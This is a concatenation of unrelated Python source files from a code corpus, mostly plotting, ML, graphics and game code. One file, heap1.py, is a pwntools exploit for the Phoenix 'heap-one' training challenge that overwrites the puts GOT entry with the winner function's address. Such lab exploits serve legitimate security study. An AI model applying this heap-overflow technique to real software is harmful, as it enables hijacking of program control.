path.endswith('/'):\r\n path += \"/\"\r\n for name in glob.glob(path + '*.day'):\r\n self.tickers.append(name)\r\n # 自动补全\r\n items_list = [os.path.splitext(os.path.basename(t))[0] for t in self.tickers]\r\n completer = QCompleter(items_list)\r\n completer.activated.connect(self.completerActivated)\r\n completer.setCaseSensitivity(Qt.CaseInsensitive)\r\n completer.setFilterMode(Qt.MatchContains)\r\n self.lineEdit.setCompleter(completer)\r\n\r\n self.file = \"./sh000000.day\"\r\n self.read_file()\r\n\r\n def read_file(self):\r\n # 读取数据\r\n # print (\"read_file, {}\".format(self.file))\r\n reader = TdxDailyBarReader()\r\n self.df = reader.get_df(self.file)\r\n # print (self.df.index)\r\n\r\n # 更新UI\r\n self.lineEdit.setText(os.path.splitext(os.path.basename(self.file))[0])\r\n # 初始化日期\r\n start = self.df.index[0]\r\n end = self.df.index[-1]\r\n self.dateEdit_start.setDate(start)\r\n self.dateEdit_start.setMinimumDate(start)\r\n self.dateEdit_start.setMaximumDate(end)\r\n self.dateEdit_end.setDate(end)\r\n self.dateEdit_end.setMinimumDate(start)\r\n self.dateEdit_end.setMaximumDate(end)\r\n # print (\"read_file end, {}, {}\".format(start, end))\r\n self.read_ticker(start, end)\r\n\r\n def read_ticker(self, start, end):\r\n # 读取指定日期的收盘数据\r\n # close = self.df['close']\r\n close = self.df.loc[start:end, 'close'] # 取出start至end之间的close\r\n self.c = np.array(close)\r\n self.lenc = len(self.c)\r\n\r\n # 图形显示用相关处理\r\n minmax = self.c.min()+self.c.max()\r\n self.ticks = [self.c.min(), minmax * 0.5, self.c.max()]\r\n self.tickslabel = [self.c.min(), '', self.c.max()]\r\n\r\n self.spinBox.setValue(360)\r\n self.checkBoxRev.setChecked(False)\r\n self.checkBoxLog.setChecked(False)\r\n\r\n self.theta = 1\r\n self.direction = 1\r\n self.log = False\r\n self.canvasrefresh()\r\n\r\n def canvasrefresh(self):\r\n # 计算周期数, 即 self.c 绕一圈的K线个数\r\n self.label.setText(\"Cycle:{:0.1f}\".format(self.lenc/self.theta))\r\n\r\n # 画图\r\n self.figure.clear()\r\n ax = self.figure.add_subplot(111, projection='polar')\r\n ax.set_yticks(self.ticks, minor=False)\r\n ax.set_yticklabels(self.tickslabel, minor=False)\r\n ax.set_theta_direction(self.direction)\r\n ax.grid('tight', ls='--')\r\n r = np.linspace(0, self.theta * 2 * np.pi, self.lenc)\r\n\r\n # 彩色显示不同的圈\r\n for i in range(10):\r\n if (i > self.theta):\r\n break\r\n j = np.where((r >= i*2*np.pi) & (r < (i+1)*2*np.pi))\r\n # print (\"i={}, j={}\".format(i,j[0]))\r\n # ax.plot(r[j[0][0]: j[0][-1]], self.c[j[0][0]: j[0][-1]], alpha=0.5)\r\n if (self.log):\r\n ax.plot(r[j[0][0]: j[0][-1]], np.log(self.c[j[0][0]: j[0][-1]]), alpha=0.5)\r\n else:\r\n ax.plot(r[j[0][0]: j[0][-1]], self.c[j[0][0]: j[0][-1]], alpha=0.5)\r\n\r\n # 显示\r\n # ax.plot(r, self.c, alpha=0.5)\r\n self.canvas.draw()\r\n\r\n def tickerChoosed(self):\r\n file_back = self.file\r\n try:\r\n name = self.lineEdit.text()\r\n for t in self.tickers:\r\n if name == os.path.splitext(os.path.basename(t))[0]:\r\n self.file = t\r\n break\r\n except:\r\n self.file = file_back\r\n finally:\r\n self.read_file()\r\n\r\n def completerActivated(self):\r\n self.tickerChoosed()\r\n\r\n def editFinished(self):\r\n self.tickerChoosed()\r\n\r\n def dateChanged(self):\r\n start = self.dateEdit_start.date().toString(\"yyyy-MM-dd\")\r\n end = self.dateEdit_end.date().toString(\"yyyy-MM-dd\")\r\n self.read_ticker(start, end)\r\n\r\n def sliderChanged(self):\r\n value = self.verticalSlider.value()\r\n self.spinBox.setValue(value)\r\n self.theta = value / 360\r\n self.canvasrefresh()\r\n\r\n def spinChanged(self):\r\n value = self.spinBox.value()\r\n if (value != self.verticalSlider.value()):\r\n self.verticalSlider.setValue(value)\r\n\r\n def wheelEvent(self, event):\r\n numDegrees = event.angleDelta().y()\r\n value = self.verticalSlider.value()\r\n if numDegrees > 0:\r\n value += 10*self.direction\r\n else:\r\n value -= 10*self.direction\r\n self.verticalSlider.setValue(value)\r\n\r\n def reverseChanged(self):\r\n if self.direction == 1:\r\n self.direction = -1\r\n self.verticalSlider.setInvertedAppearance(True)\r\n self.verticalSlider.setInvertedControls(True)\r\n else:\r\n self.direction = 1\r\n self.verticalSlider.setInvertedAppearance(False)\r\n self.verticalSlider.setInvertedControls(False)\r\n self.canvasrefresh()\r\n\r\n def logChanged(self):\r\n self.log = self.checkBoxLog.checkState()\r\n self.canvasrefresh()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app = QApplication(sys.argv)\r\n gui_action = circle()\r\n gui_action.show()\r\n sys.exit(app.exec_())","sub_path":"cycle.py","file_name":"cycle.py","file_ext":"py","file_size_in_byte":6704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"57302996","text":"import sys\nimport torch\n\ndef solve_quadratic(a, b, c):\n \"\"\"\n API to calculate the roots of quadratic equation ax^2 + bx + c = 0\n Returns the value of roots or None if no roots exist\n \"\"\"\n discr = b * b - 4 * a * c\n x = torch.empty((discr.shape[0],2),dtype=torch.float32).fill_(float(\"Inf\"))\n\n mask = torch.eq(discr, 0)\n if mask.any():\n x[mask, 0] = - 0.5 * b[mask] / a[mask]\n x[mask, 1] = - 0.5 * b[mask] / a[mask]\n \n mask = torch.gt(discr, 0)\n if mask.any():\n x[mask, 0] = 0.5 * a[mask] * (-b[mask] + torch.sqrt(discr[mask]))\n x[mask, 1] = 0.5 * a[mask] * (-b[mask] - torch.sqrt(discr[mask]))\n\n # Negative value represents that the intersection point is behind the ray origin\n # Since we dont render objects behind the camera, we can set negative values to infinity\n x[torch.lt(x, 0)] = float(\"Inf\")\n\n return x\n\n\ndef ray_sphere_intersect(ray_origin, ray_dir, sphere_center, sphere_radius):\n L = ray_origin - sphere_center\n a = torch.sum(torch.mul(ray_dir, ray_dir),dim=1)\n b = 2 * torch.sum(torch.mul(L, ray_dir),dim=1)\n c = torch.sum(torch.mul(L,L), dim=1) - (sphere_radius * sphere_radius)\n\n intersect_dist = solve_quadratic(a, b, c)\n\n return intersect_dist\n\n\ndef ray_cube_intersect(ray_origin, ray_dir, min_bound, max_bound):\n t_min_bound = (min_bound - ray_origin) / ray_dir\n t_max_bound = (max_bound - ray_origin) / ray_dir\n\n t_min_bound[torch.isinf(t_min_bound)] = float(\"Inf\")\n t_max_bound[torch.isinf(t_max_bound)] = float(\"Inf\")\n\n tmin = torch.min(t_min_bound, t_max_bound)\n tmin[torch.isinf(tmin)] = -float(\"Inf\")\n\n t_min_bound[torch.isinf(t_min_bound)] = -float(\"Inf\")\n t_max_bound[torch.isinf(t_max_bound)] = -float(\"Inf\")\n\n tmax = torch.max(t_min_bound, t_max_bound)\n tmax[torch.isinf(tmax)] = float(\"Inf\")\n\n intersect_dist = torch.empty((ray_origin.shape[0],2),dtype=torch.float32).fill_(float(\"Inf\"))\n intersect_dist[:,0] = torch.max(tmin, dim=1).values\n intersect_dist[:,1] = torch.min(tmax, dim=1).values\n\n mask = torch.le(tmin, intersect_dist[:,1][:,None])\n mask = mask[:,0] & mask[:,1] & mask[:,2]\n intersect_dist[~mask] = float(\"Inf\")\n # Negative value represents that the intersection point is behind the ray origin\n # Since we dont render objects behind the camera, we can set negative values to infinity\n intersect_dist[torch.lt(intersect_dist, 0)] = float(\"Inf\")\n \n return intersect_dist\n\n\ndef ray_vol_intersect(ray_origin, ray_dir, vol_params=None):\n \"\"\"\n Checks whether a ray intersects with the bounding volume or not and\n returns the intersection distances\n\n Params : \n ray_origin -> 3D coordinates of ray origins (shape: [n_rays, 3])\n ray_dir -> Unit length direction vectors corresponding to each ray (shape: [n_rays, 3])\n vol_params -> Tuple defining bounding volume (first entry in tuple tells the type: sphere/cube)\n In case of sphere, vol_params -> (\"sphere\", center, radius)\n In case of cube, vol_params -> (\"cube\", min_bound, max_bound)\n\n Returns : intersection distances (shape: [n_rays, 2]).\n Each row contains intersection distance t0 and t1 corresponding to each ray\n t0 and t1 are the distance of the intersection points from the ray origin.\n t0 and t1 are None if ray does not intersect with the sphere\n If ray intersects at only one point, t0 and t1 will be same.\n t0 and t1 can be positive and negative. Negative value means that the intersection \n point is in direction opposite to ray direction.\n\n Intersection point can be calculated as = ray_origin + dist * ray_dir\n \"\"\"\n if vol_params is None:\n # If information about bounding volume is not provided, assume a unit sphere centered at origin\n vol_type = \"sphere\"\n origin = torch.Tensor([0.0, 0.0, 0.0])\n radius = 1.0\n vol_params = (vol_type, origin, radius)\n \n vol_type = vol_params[0]\n\n if vol_type == \"sphere\":\n return ray_sphere_intersect(ray_origin, ray_dir, vol_params[1], vol_params[2])\n elif vol_type == \"cube\":\n return ray_cube_intersect(ray_origin, ray_dir, vol_params[1], vol_params[2])\n else:\n sys.exit('Unknown bounding volume type. Please check bounding_volume.py')\n \n\n","sub_path":"src/data/bounding_volume.py","file_name":"bounding_volume.py","file_ext":"py","file_size_in_byte":4266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545571628","text":"import os\nimport random\n\nfrom PIL import Image, ImageFilter\n\nfrom computer_text_generator import ComputerTextGenerator\ntry:\n from handwritten_text_generator import HandwrittenTextGenerator\nexcept ImportError as e:\n print('Missing modules for handwritten text generation.')\nfrom background_generator import BackgroundGenerator\nfrom distorsion_generator import DistorsionGenerator\nimport numpy as np\n\nclass FakeTextDataGenerator(object):\n @classmethod\n def generate_from_tuple(cls, t):\n \"\"\"\n Same as generate, but takes all parameters as one tuple\n \"\"\"\n\n cls.generate(*t)\n\n @classmethod\n def generate(cls, index, text, fonts, out_dir, height, extension, skewing_angle, random_skew, blur, random_blur, background_type, distorsion_type, distorsion_orientation, is_handwritten, name_format, width, alignment, text_color):\n ##########################\n # Create picture of text #\n ##########################\n images = ComputerTextGenerator.generate(text, fonts, text_color, height, width)\n\n #############################\n # Generate background image #\n #############################\n background_width = sum([ im.size[1] for im in images ])\n background = Image.fromarray(np.ones((height, background_width, 3), dtype='uint8') * 255, \"RGB\")\n\n print('# of images: {}'.format(len(images)))\n acc_width = np.random.randint(2, 13) # offset\n for idx, image in enumerate(images):\n random_angle = random.randint(0-skewing_angle, skewing_angle)\n rotated_img = image.rotate(skewing_angle if not random_skew else random_angle, expand=1)\n\n #############################\n # Apply distorsion to image #\n #############################\n if distorsion_type == 0:\n distorted_img = rotated_img # Mind = blown\n elif distorsion_type == 1:\n distorted_img = DistorsionGenerator.sin(\n rotated_img,\n vertical=(distorsion_orientation == 0 or distorsion_orientation == 2),\n horizontal=(distorsion_orientation == 1 or distorsion_orientation == 2)\n )\n elif distorsion_type == 2:\n distorted_img = DistorsionGenerator.cos(\n rotated_img,\n vertical=(distorsion_orientation == 0 or distorsion_orientation == 2),\n horizontal=(distorsion_orientation == 1 or distorsion_orientation == 2)\n )\n else:\n distorted_img = DistorsionGenerator.random(\n rotated_img,\n vertical=(distorsion_orientation == 0 or distorsion_orientation == 2),\n horizontal=(distorsion_orientation == 1 or distorsion_orientation == 2)\n )\n\n ##################################\n # Resize image to desired format #\n ##################################\n new_width = int(float(distorted_img.size[0] + 10) * (float(height) / float(distorted_img.size[1] + 10)))\n resized_img = distorted_img.resize((new_width, height - 10), Image.ANTIALIAS)\n\n\n #############################\n # Place text with alignment #\n #############################\n new_text_width, _ = resized_img.size\n background.paste(resized_img, (int(acc_width), np.random.randint(2, 10)))\n acc_width += new_text_width\n \n background = BackgroundGenerator.applyMyBackground(height, background_width, np.array(background))\n\n ##################################\n # Apply gaussian blur #\n ##################################\n\n final_image = background.filter(\n ImageFilter.GaussianBlur(\n radius=(blur if not random_blur else random.randint(0, blur))\n )\n )\n\n #####################################\n # Generate name for resulting image #\n #####################################\n if name_format == 0:\n image_name = '{}_{}.{}'.format(text, str(index), extension)\n elif name_format == 1:\n image_name = '{}_{}.{}'.format(str(index), text, extension)\n elif name_format == 2:\n image_name = '{}.{}'.format(str(index),extension)\n else:\n print('{} is not a valid name format. Using default.'.format(name_format))\n image_name = '{}_{}.{}'.format(text, str(index), extension)\n\n # Save the image\n final_image.convert('RGB').save(os.path.join(out_dir, image_name))\n","sub_path":"TextRecognitionDataGenerator/data_generator.py","file_name":"data_generator.py","file_ext":"py","file_size_in_byte":4646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"84621563","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib\n\nfrom temperations import *\nfrom hearing import Pair\n\nfig = plt.figure()\n\nax1 = fig.add_subplot(111)\n\nGRAY = [.3, .3, .3]\nLIGHT_GRAY = [.7, .7, .7]\nBROWN = [.99, .3, 0]\nFLAT_TEMPERATION_COLOR = [.2, .5, 0]\nHARMONIC_TEMPERAION_COLOR = [0, .4, 1]\n\nharmonic_major_temperation = map(float, HARMONIC_INTERVALS)\nharmonic_temperation = map(float, CHROMATIC_TEMPERATION_BY_TONAL[DO])\n\n\n# Все интервалы тональных темпераций\nax1.eventplot(\n [CHROMATIC_INTERVALS],\n colors=[LIGHT_GRAY], lineoffsets=[6], linelengths=12,\n orientation='vertical'\n)\n\n# Равномерно и гармонично-темперированные вертикльные линии\nax1.eventplot(\n [FLAT_TEMPERATION, harmonic_major_temperation],\n colors=[FLAT_TEMPERATION_COLOR, HARMONIC_TEMPERAION_COLOR],\n lineoffsets=[6, 6],\n linelengths=12,\n linestyles=['-', '--'],\n linewidths=[1.5, 2],\n orientation='vertical'\n)\n\nfor j in MAJOR_GAMMA:\n ax1.axvline(j, color=GRAY, linestyle=':')\n\n\nax1.eventplot(\n [\n temperation\n for tonal, temperation in enumerate(CHROMATIC_TEMPERATION_BY_TONAL)\n ],\n colors=[LIGHT_GRAY],\n lineoffsets=range(len(CHROMATIC_TEMPERATION_BY_TONAL)),\n linelengths=.4,\n linewidths=3,\n orientation='vertical'\n)\n\nax1.eventplot(\n [\n [\n interval for nota, interval in enumerate(temperation)\n if nota in MAJOR_GAMMA\n ]\n for temperation in CHROMATIC_TEMPERATION_BY_TONAL\n ],\n colors=[\n BROWN if nota in MAJOR_GAMMA else LIGHT_GRAY\n for nota in NOTES13\n ],\n lineoffsets=NOTES13,\n linelengths=.4,\n linewidths=3,\n orientation='vertical'\n)\n\n\nax1.set_ybound(.95, 2.05)\nax1.set_yticks(harmonic_major_temperation)\nax1.set_yticklabels([INTERVALS[nota] for nota in MAJOR_GAMMA])\n\nax1.set_xbound(-.5, 12.5)\nax1.set_xticks(range(len(NOTES13)))\nax1.set_xticklabels([\n name if nota in MAJOR_GAMMA else ''\n for nota, name in enumerate(NOTES_NAMES)\n])\n\n\nmatplotlib.rcParams['font.size'] = 8.0\n\nplt.show()\n","sub_path":"plotv_temperations.py","file_name":"plotv_temperations.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"377103361","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 29 21:15:24 2018\n\n@author: rstyczynski\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n#\n# HELPER FUNCTIONS\n#\ndef changesPerSecond(dataset, column):\n if not 'timestamp_dt' in dataset:\n dataset['timestamp_dt'] = dataset['timestamp'].diff()\n\n columnDelta=column + '_dv'\n dataset[columnDelta] = dataset[column].diff()\n \n columnDelta=column + '_dvdt'\n dataset[columnDelta] = dataset[column + '_dv'] / dataset['timestamp_dt']\n\n#\n# \n#\ndf = pd.read_csv('/Users/rstyczynski/Documents/IKEA/11.Test/TESTS/TEST2505#5/ppseelm-lx41085/tmp/umc/TEST2505#5/2018-05-25/2018-05-25-140250_vmstat.log')\ndf['datetime'] = pd.to_datetime(df['datetime'])\ndf.index = df['datetime']\n\ndf2_ = pd.read_csv('/Users/rstyczynski/Documents/IKEA/11.Test/TESTS/TEST2505#5/ppseelm-lx41085/tmp/umc/TEST2505#5/2018-05-25/2018-05-25-140250_ifconfig.log') \ndf2 = df2_.loc[df2_['device'] == 'eth0']\ndf2['datetime'] = pd.to_datetime(df2['datetime'])\ndf2.index = df2['datetime']\n \nfig1, axes1 = plt.subplots(3,1, sharex=True)\nfor ax in axes1:\n ax.xaxis.grid(True, which='minor', linestyle='-', linewidth=0.25)\n\n \ncolumn1 = ' Interrupts'\ncnt=df[column1].count()\n\ndf[column1 + '_mean'] = df[column1].rolling(cnt/10).mean()\ndf[column1 + '_mean'].plot(ax=axes1[0], style='g-', grid=True)\n\ncolumn2 = 'ContextSwitches'\ncnt=df[column2].count()\ndf[column2 + '_mean'] = df[column2].rolling(cnt/10).mean()\n\ndf[column2 + '_mean'].plot(ax=axes1[1], style='b-', grid=True)\n\ndf[column1 + '_corr_' + column2] = df[column1].rolling(window=cnt/10).corr(other=df[column2]).rolling(cnt/10).mean()\ndf[column1 + '_corr_' + column2].plot(ax=axes1[2], style='r-', grid=True)\n\n#\n# \n#\ncolumn3=' RXbytes'\nchangesPerSecond(df2, column3)\ncnt=df2[column3].count()\n\nfig2, axes2 = plt.subplots(3, 1, sharex=True)\nfor ax in axes2:\n ax.xaxis.grid(True, which='minor', linestyle='-', linewidth=0.25)\n\ncorr = pd.DataFrame()\ncorr[column1] = df[column1].resample('5S').mean().ffill().rolling(cnt/10).mean()\ncorr[column3] = df2[column3 + '_dvdt'].resample('5S').mean().ffill().rolling(cnt/10).mean()\ncorr[column1 + '_corr_' + column3] = corr[column1].rolling(window=cnt/10).corr(other=corr[column3]).rolling(cnt/10).mean()\n\ncorr[column1].plot(ax=axes2[0], style='g-', grid=True)\ncorr[column3].plot(ax=axes2[1], style='b-', grid=True)\ncorr[column1 + '_corr_' + column3].plot(ax=axes2[2], style='r-', grid=True)\n\n\n","sub_path":"varia/plot/correlate.py","file_name":"correlate.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"559796079","text":"import numpy as np\nfrom numba import njit, prange\n\n\ndef normalize_rows(v):\n return v / (1e-30 + np.linalg.norm(v, axis=1)[:, np.newaxis])\n\n\ndef train(matrix, n_clusters, eps=1e-9, max_iter=100):\n \"\"\"\n trains a k-means model\n Args:\n matrix: scipy.sparse.coo_matrix of shape (n,d). Each row represents a data point.\n n_clusters: The desired number of clusters.\n Threshold for convergence.\n max_iter: Maximum number of iterations.\n Returns:\n i: number of iterations required for convergence\n objective: value of the objective function after the last iteration\n labels: an array of size n containing the label assigned to each data point.\n centroids: an array of shape (n_clusters,d) containing the centroid of each cluster\n \"\"\"\n n, d = matrix.shape\n\n row = matrix.row\n col = matrix.col\n data = matrix.data.astype(float)\n\n # Initialize the centroids with a random subset of data points\n indices = np.arange(n)\n np.random.shuffle(indices)\n subset = indices[0:n_clusters]\n initial_centroids = np.empty((n_clusters, d))\n initialize(initial_centroids, subset, row, col, data)\n initial_centroids = normalize_rows(initial_centroids)\n\n return k_means_sparse(row, col, data, n, d, initial_centroids, n_clusters, eps, max_iter)\n\n\n@njit\ndef initialize(initial_centroids, subset, row, col, data):\n for i in range(data.size):\n for j, r in enumerate(subset):\n if row[i] == r:\n initial_centroids[j, col[i]] = data[i]\n break\n\n\n@njit(parallel=True)\ndef k_means_sparse(row, col, data, n, d, initial_centroids, n_clusters, eps, max_iter):\n nnz = data.size\n\n # Normalize the data matrix\n row_norm_sq = np.zeros((n))\n for i in range(nnz):\n row_norm_sq[row[i]] += data[i] ** 2\n for i in range(nnz):\n data[i] /= 1e-30 + np.sqrt(row_norm_sq[row[i]])\n\n # Initialize main variables\n centroids = initial_centroids\n labels = np.zeros((n), dtype=np.int32)\n objective = -1\n\n # Initialize auxiliary variables\n product = np.zeros((n, n_clusters))\n label_freq = np.zeros((n_clusters), dtype=np.int32)\n\n iter = 0\n while True:\n iter += 1\n old_objective = objective\n\n # Compute new labels\n product[:] = 0\n for c in prange(n_clusters):\n for i in range(nnz):\n product[row[i], c] += data[i] * centroids[c, col[i]]\n for i in range(n):\n labels[i] = np.argmax(product[i])\n\n # Compute new centroids\n centroids[:] = 0\n label_freq[:] = 0\n\n for i in range(nnz):\n label_freq[labels[row[i]]] += 1\n centroids[labels[row[i]], col[i]] += data[i]\n for c in range(n_clusters):\n if label_freq[c] > 0:\n for j in range(d):\n centroids[c, j] /= label_freq[c]\n\n # Normalize centroids\n for c in range(n_clusters):\n centroids[c] /= 1e-30 + np.linalg.norm(centroids[c])\n\n # Compute cosine similarity\n sum = 0\n for i in range(nnz):\n sum += data[i] * centroids[labels[row[i]], col[i]]\n objective = sum / (n * d)\n\n if np.abs(objective - old_objective) < eps or iter >= max_iter:\n break\n\n return objective, centroids, labels\n","sub_path":"k_means.py","file_name":"k_means.py","file_ext":"py","file_size_in_byte":3339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"530332084","text":"from pwn import *\n\n\narch = \"i486\"\n\n\ndef run(level, payload):\n write(\"/tmp/docgil\", payload)\n print(\"payload: \")\n print(read(\"/tmp/docgil\"))\n io = process(\"cat /tmp/docgil | /opt/phoenix/\" + arch + \"/\"+level, shell=True)\n return io.recvall()\n\n\ndef run_with_arg(level, arg):\n write(\"/tmp/docgil\", arg)\n print(\"payload: \")\n print(read(\"/tmp/docgil\"))\n io = process(\"/opt/phoenix/\" + arch + \"/\"+level+\" \\\"`cat /tmp/docgil`\\\"\", shell=True)\n return io.recvall()\n\n\ndef run_with_args(level, args):\n index = 0\n args_string = \"\"\n for arg in args:\n filename = \"/tmp/docgil\" + str(index)\n write(filename, arg)\n print(\"payload\"+str(index)+\": \")\n print(read(filename))\n args_string += \" \\\"`cat \" + filename + \"`\\\"\"\n index += 1\n\n io = process(\"/opt/phoenix/\" + arch + \"/\" + level + args_string, shell=True)\n return io.recvall()\n\n\nwinner_function_adr = pack(0x0804889a, 32)\nputs_got_adr = pack(0x804c140, 32)\narg1 = b\"\"\n\n# name\narg1 += 8 * b\"A\"\n# meta data of next chunk\narg1 += 8 * b\"B\"\n# prio next chunk\narg1 += 4 * b\"C\"\narg1 += puts_got_adr\n\narg2 = b\"\"\narg2 += winner_function_adr\nr = run_with_args(\"heap-one\", [arg1, arg2])\nprint(r)","sub_path":"heap1.py","file_name":"heap1.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"411541084","text":"import os, sys\nsys.path.append('/rpicluster/config')\nfrom functions import *\n\n\nf = open(\"/rpicluster/network-manager/configured\",\"r\")\n\nmachines = get_nodes()\nnetwork = int(f.read(1))\nstream = os.popen(\"ip addr\", 'r')\nip_output = stream.read()\ninternet_ip = \"\"\naccess_point = \"\"\ninternet_name = \"\"\nconnection_name = \"\"\n\n\n\nif(network != 0):\n\n if(network == 1):\n internet_ip = str(get_ip(ip_output, \"wlan1\"))\n internet_name = \"wlan1\"\n access_point = str(get_ip(ip_output, \"wlan0\"))\n connection_name = \"Access Point\"\n\n elif(network == 2):\n internet_ip = str(get_ip(ip_output, \"wlan0\"))\n internet_name = \"wlan0\"\n access_point = str(get_ip(ip_output, \"eth0\"))\n connection_name = \"Switch\"\n\n # else if(network == 3):\n print(\"\\nCurrent network configuration: \" + network_type(network))\n print(\"\\nInternet on \" + internet_name + \"--> \" + internet_ip)\n if(internet_ip != \"None\"):\n print(\" |\")\n print(\" |\")\n print(\" --> \"+ connection_name + \"--> \" + access_point)\n for x in range(len(machines)):\n if ping_node(machines[x][1]) == 0:\n print(\" |\")\n print(\" --> \" + machines[x][0] + \" - \" + machines[x][1])\n else:\n print(\" |\")\n print(\" |\")\n print(\" --> \"+ connection_name + \"--> \" + access_point)\n for x in range(len(machines)):\n if ping_node(machines[x][1]) == 0:\n print(\" |\")\n print(\" --> \" + machines[x][0] + \" - \" + machines[x][1])\n\nelse:\n print(\"\\nNo rpicluster Network configured ! ! !\\n\")\n","sub_path":"stage2S/02-net-tweaks/files/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"270144994","text":"from enemy import *\nimport random\nfrom bullet_enemy import EnemyBullet\nfrom BehaviorTree import BehaviorTree, LeafNode, SelectorNode, SequenceNode\n\n\nimport state_StageMain\n\n\nclass IdleState:\n @staticmethod\n def enter(bee):\n pass\n\n @staticmethod\n def exit(bee):\n pass\n\n @staticmethod\n def do(bee):\n bee.flying_frame = (bee.flying_frame + FRAMES_PER_FLYING_ACTION * FLYING_ACTION_PER_TIME\n * framework.frame_time) % FRAMES_PER_FLYING_ACTION\n\n @staticmethod\n def draw(bee):\n bee.image.clip_draw(int(bee.flying_frame) * 17, 0, 17, 17, bee.x, bee.y, 50, 50)\n\n\nclass ExplodeState:\n @staticmethod\n def enter(bee):\n bee.hit_sound.play()\n bee.explode_timer = TIME_PER_EXPLODE_ACTION\n state_StageMain.enemies.remove(bee)\n\n @staticmethod\n def exit(bee):\n gameworld.remove_object(bee)\n\n @staticmethod\n def do(bee):\n bee.explode_timer -= framework.frame_time\n bee.explode_frame = (bee.explode_frame + FRAMES_PER_EXPLODE_ACTION * EXPLODE_ACTION_PER_TIME\n * framework.frame_time) % FRAMES_PER_EXPLODE_ACTION\n if bee.explode_timer < 0:\n bee.cur_state.exit(bee)\n\n @staticmethod\n def draw(bee):\n bee.explode_images[int(bee.explode_frame)].draw(bee.x, bee.y, 75, 75)\n\n\nclass AttackState:\n @staticmethod\n def enter(bee):\n bee.attacking = True\n bee.attack_sound.play()\n\n @staticmethod\n def exit(bee):\n bee.attacking = False\n\n @staticmethod\n def do(bee):\n bee.attack_bt.run()\n\n @staticmethod\n def draw(bee):\n bee.image.clip_composite_draw(int(bee.flying_frame) * 17, 0, 17, 17,\n bee.dir + math.radians(-90), 'h', bee.x, bee.y, 50, 50)\n\n\nclass Butterfly:\n image = None\n explode_images = None\n\n def __init__(self, coord_pos):\n if Butterfly.image is None:\n Butterfly.image = load_image('Image/butterfly_sprite_34x17.png')\n\n if Butterfly.explode_images is None:\n Butterfly.explode_images = [load_image('Image/enemy_explosion0_39.png'),\n load_image('Image/enemy_explosion1_39.png'),\n load_image('Image/enemy_explosion2_39.png'),\n load_image('Image/enemy_explosion3_39.png'),\n load_image('Image/enemy_explosion4_39.png')]\n\n self.speed = 0\n self.dir = 0\n self.x, self.y = coord_pos\n self.target_pos = []\n\n self.explode_timer = 0\n\n self.flying_frame = 0\n self.explode_frame = 0\n\n self.cur_state = IdleState\n self.cur_state.enter(self)\n\n self.hit_sound = load_wav('Sound/ButterflyDie.wav')\n self.hit_sound.set_volume(256)\n self.attack_sound = load_wav('Sound/Attack.wav')\n\n self.attacking = False\n self.attack_positions = []\n self.attack_order = 0\n self.attack_bt = None\n self.build_behavior_tree()\n\n def is_attack_state(self):\n if self.cur_state == AttackState:\n return True\n else:\n return False\n\n def calculate_current_position(self):\n self.flying_frame = (self.flying_frame + FRAMES_PER_FLYING_ACTION * FLYING_ACTION_PER_TIME\n * framework.frame_time) % FRAMES_PER_FLYING_ACTION\n self.x += self.speed * math.cos(self.dir) * framework.frame_time\n self.y += self.speed * math.sin(self.dir) * framework.frame_time\n\n def get_next_position(self):\n self.target_pos = self.attack_positions[self.attack_order % 2]\n self.attack_order += 1\n if self.attack_order == 3:\n self.x, self.y = self.attack_positions[1]\n self.attack_order = 0\n self.cur_state.exit(self)\n self.cur_state = IdleState\n self.cur_state.enter(self)\n return BehaviorTree.FAIL\n\n self.dir = math.atan2(self.target_pos[1] - self.y, self.target_pos[0] - self.x)\n return BehaviorTree.SUCCESS\n\n def move_to_target(self):\n self.speed = ATTACK_SPEED_PPS\n self.calculate_current_position()\n distance = (self.target_pos[0] - self.x) ** 2 + (self.target_pos[1] - self.y) ** 2\n if distance < 10 ** 2:\n return BehaviorTree.SUCCESS\n else:\n return BehaviorTree.RUNNING\n\n def set_attack_position(self):\n self.attack_positions = [(self.target_pos[0], self.target_pos[1]), (self.x, self.y)]\n\n def attack(self, starship_pos):\n self.target_pos = starship_pos\n self.set_attack_position()\n\n self.cur_state.exit(self)\n self.cur_state = AttackState\n self.cur_state.enter(self)\n\n def get_bb(self):\n return self.x - 15, self.y - 15, self.x + 15, self.y + 15\n\n def shoot(self):\n bullet = EnemyBullet(self.x, self.y - 25)\n gameworld.add_object(bullet, 1)\n state_StageMain.enemy_bullets.append(bullet)\n\n def hit(self):\n if random.randint(0, 1) == 0:\n self.shoot()\n\n self.cur_state.exit(self)\n self.cur_state = ExplodeState\n self.cur_state.enter(self)\n\n def update(self):\n self.cur_state.do(self)\n\n def draw(self):\n self.cur_state.draw(self)\n\n def build_behavior_tree(self):\n attack_node = SequenceNode('Attack')\n get_next_position_node = LeafNode('Get Next Position', self.get_next_position)\n move_to_target_node = LeafNode('Move To Target', self.move_to_target)\n attack_node.add_children(get_next_position_node, move_to_target_node)\n self.attack_bt = BehaviorTree(attack_node)\n\n","sub_path":"Galaga/butterfly.py","file_name":"butterfly.py","file_ext":"py","file_size_in_byte":5729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"281909492","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: 